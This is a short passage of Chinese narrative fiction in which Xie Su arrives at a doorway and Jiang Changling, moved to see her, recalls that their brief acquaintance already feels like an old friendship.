“长泠,我来了!”解宿十分神气地叉着腰站在门口。
姜长泠抬头再见到解宿,心情竟是有些澎湃。
明明她们相识甚短,却有种见到老朋友的感觉。
“我还以为没能跟你道别你会找不到我。”姜长泠莞尔道。